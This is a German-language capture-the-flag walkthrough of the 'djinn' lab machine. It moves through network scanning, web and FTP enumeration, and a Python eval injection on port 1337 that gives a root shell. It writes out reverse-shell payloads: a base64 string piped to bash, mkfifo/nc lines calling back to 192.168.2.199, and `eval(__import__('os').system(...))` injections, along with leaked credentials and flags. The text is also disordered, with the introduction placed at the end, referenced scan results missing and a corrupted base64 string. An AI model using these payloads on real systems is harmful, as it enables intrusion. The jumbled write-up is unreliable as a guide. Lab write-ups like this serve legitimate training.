Der Befehl arp-scan -l
führt eine ARP-Anfrage im lokalen Netzwerk aus. Wir erhalten die IP-Adresse (192.168.2.131) und die MAC-Adresse (08:00:27:96:f8:c9) des Zielsystems. Die Information "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.
**Empfehlung:** Das Filtern von ARP-Anfragen kann das Aufspüren von Geräten im Netzwerk erschweren.
Die /etc/hosts Datei wurde um einen Eintrag für djinn.vln erweitert.
Der Befehl nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
führt einen umfassenden Portscan auf dem Zielsystem durch und versucht, die Versionen der laufenden Dienste zu identifizieren. Wir stellen fest:
**Empfehlung:** Deaktivieren Sie anonyme FTP-Logins, um unbefugten Zugriff zu verhindern. Beschränken Sie den Zugriff auf unnötige Ports, um die Angriffsfläche zu verringern.
Nach der grundlegenden Aufklärung konzentrieren wir uns auf die Webanwendungen, die auf dem Zielsystem laufen. Wir nutzen verschiedene Tools, um versteckte Dateien und Verzeichnisse zu finden und die Angriffsfläche zu vergrößern.
Der Befehl wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u "http://192.168.2.131:7331/FUZZ" --hc 404 --hh 0
findet die Pfade /wish und /genie
nikto -h http://djinn.vln:7331
identifiziert die verwendete Technologie auf der Webseite.
Wir erhalten Informationen wie:
**Empfehlung:** Konfigurieren Sie die fehlenden Sicherheitsheader und aktualisieren Sie die Python-Version.
In diesem Abschnitt versuchen wir, einen ersten Zugang zum System zu erlangen. Wir analysieren die gesammelten Informationen, um mögliche Schwachstellen zu identifizieren und auszunutzen.
Der anonyme FTP Login ist erfolgreich.
Die Dateien "creds.txt", "game.txt" und "message.txt" sind im FTP-Verzeichnis vorhanden.
Der Versuch, eine Reverse Shell hochzuladen, schlägt fehl, da keine Schreibrechte vorhanden sind.
Der Anonyme FTP Server wurde heruntergeladen.
Der Benutzer nitu und das Passwort 81299 wurden gefunden.
Ein einfacher nc zum Port 1337 und die Eingabe von ls quittiert das system mit "Stop acting like a hacker for a damn minute!!"
Ein erster Befehl wurde erfolgreich mit wish ausgeführt.
Die Homeverzeichnisse wurden enumariert.
Die user.txt Flag konnte gefunden werden.
cat der user.txt.
Eingabemaske: echo cm0gL3RtcC9m21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2C4yLjE5SA5Tk5ID4vdG1wL2Y=|base64 -d | bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 9999 >/tmp/f
Directory Enumeration
Directory Enumeration
└─# nc -vv djinn.vln 1337 djinn.vln [192.168.2.131] 1337 (?) open ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (5, '*', 4) > eval('__import__("os").system("id")') uid=0(root) gid=0(root) groups=0(root)└─# nc -vv djinn.vln 1337 djinn.vln [192.168.2.131] 1337 (?) open ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (3, '*', 6) > eval('__import__("os").system("nc -e /bin/bash 192.168.2.199 4444")') nc: invalid option -- 'e' usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl] [-m minttl] [- length] [-P proxy_username] [-p source_port] [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [destination] [port] Wrong answerErneuter nc versuch mit parameter -e nicht erfolgreichEval Injection - Reverse Shell versuch 2 Verwende mkfifo wie im ersten versuch und sende eine Root Shell└─# nc -vv djinn.vln 1337 djinn.vln [192.168.2.131] 1337 (?) open ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (1, '+', 8) > eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f")')nc -lvnp 4444listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.131] 42832 /bin/sh: 0: can't access tty; job control turned off #id id uid=0(root) gid=0(root) groups=0(root)Reverse Shell ist erfolgreich mit Root Rechten.listete mit ls -al den inhalt aus# cd nitish # ls user.txt # cat user.txt 10aay8289ptgguy1pvfa73alzusyyx3c SSTI Python Attack Ende : Privilege Escalation erfolgreich# ./proof.sh TERM environment variable not set. _ _ _ _ _ / \ _ __ ___ __ _ ___(_)_ __ __ _| | | | / _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | | / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_| /_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_) |___/ djinn pwned... __________________________________________________________________________ Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc Path: /root Date: Sun Sep 22 05:01:28 IST 2024 Whoami: root __________________________________________________________________________ By @0xmzfr Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)cat des User Flags:cat proof.txt 33eur2wjdmq80z47nyy4fx54bnlg3ibcFlags
# cat user.txt10aay8289ptgguy1pvfa73alzusyyx3ccat des User Flags:cat proof.txt 33eur2wjdmq80z47nyy4fx54bnlg3ibccat des Root Flags:
Wir beginnen mit der Aufklärung (Reconnaissance), um Informationen über das Zielsystem zu sammeln. Dies ist ein entscheidender Schritt, um potenzielle Angriffspunkte zu identifizieren.